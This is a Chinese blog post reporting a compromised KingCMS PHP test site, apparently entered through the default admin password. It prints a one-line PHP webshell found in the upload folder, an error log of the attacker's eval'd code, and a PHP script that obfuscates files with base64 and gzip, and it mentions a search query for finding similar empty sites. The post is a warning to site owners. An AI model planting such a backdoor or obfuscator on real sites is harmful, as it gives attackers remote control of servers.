KingCMS 企业(PHP) 6.0.813 上传漏洞

以前在国外空间上挂了一个kingcms php的测试站，没有添加任何数据，今天猛然发现upfiles目录有一个名字叫201109010456547843.php
路径如下：/upfiles/image/2011/09/01/
站点装载的编辑器有：xheditor  nicEdit
里面的代码
<?php session_start(); eval($_POST["4ngr7"]); eval($_SESSION[s]);?>



在相同目录还有一个error_log
里面的内容：
[01-Sep-2011 05:05:11] PHP Parse error:  syntax error, unexpected T_STRING in /upfiles/image/2011/09/01/201109010456547843.php(1) : eval()'d code on line 2
[01-Sep-2011 05:06:11] PHP Warning:  gzinflate() [<a href='function.gzinflate'>function.gzinflate</a>]: data error in /upfiles/image/2011/09/01/201109010456547843.php(1) : eval()'d code on line 6
[01-Sep-2011 05:18:04] PHP Warning:  gzinflate() [<a href='function.gzinflate'>function.gzinflate</a>]: data error in /upfiles/image/2011/09/01/201109010456547843.php(1) : eval()'d code on line 6
[01-Sep-2011 05:33:18] PHP Parse error:  syntax error, unexpected T_STRING in /upfiles/image/2011/09/01/201109010456547843.php(1) : eval()'d code on line 5
[01-Sep-2011 05:34:44] PHP Parse error:  syntax error, unexpected T_STRING in /upfiles/image/2011/09/01/201109010456547843.php(1) : eval()'d code on line 5


后来仔细回想了一下，发现是因为使用的默认管理员账号密码。在百度用 power by kingcmsphp  这种语句搜索，能找到一大把类似的网站，里面没有任何数据，只是一个空壳，这就给动机不良的人创造了有利条件，能力好的通过这个网站可以提权等等任何操作，危急其他网站。 

同时在根目录发现12.php
里面部分代码如下：
<?php
function encode_file_contents($filename) {
$type=strtolower(substr(strrchr($filename,'.'),1));
if('php'==$type && is_file($filename) && is_writable($filename)){// 如果是PHP文件 并且可写 则进行压缩编码
$contents = file_get_contents($filename);// 判断文件是否已经被编码处理
$pos = strpos($contents,'/*Protected by 草名http://www.crazyi.cnCryptation*/');
if(false === $pos || $pos>100){ // 去除PHP文件注释和空白，减少文件大小
$contents = php_strip_whitespace($filename);
// 去除PHP头部和尾部标识
$headerPos = strpos($contents,'<?php');
$footerPos = strrpos($contents,'?>');
$contents = substr($contents,$headerPos+5,$footerPos-$headerPos);
$encode = base64_encode(gzdeflate($contents));// 开始编码
$encode = '<?php'." /*Protected by 草名http://www.crazyi.cnCryptation*/n eval(gzinflate(base64_decode(".$encode.")));n /*Reverse engineering is illegal and strictly prohibited- (C)草名 Cryptation 2008*/ n?>";
return file_put_contents($filename,$encode);
}
}
return false;
}
//调用函数
$filename='g:我的文档桌面test.php';
encode_file_contents($filename);
?>

这里提醒那些仍然挂着kingcms测试站的，密码没有修改的用户赶紧改动一下，否则会殃及池鱼的。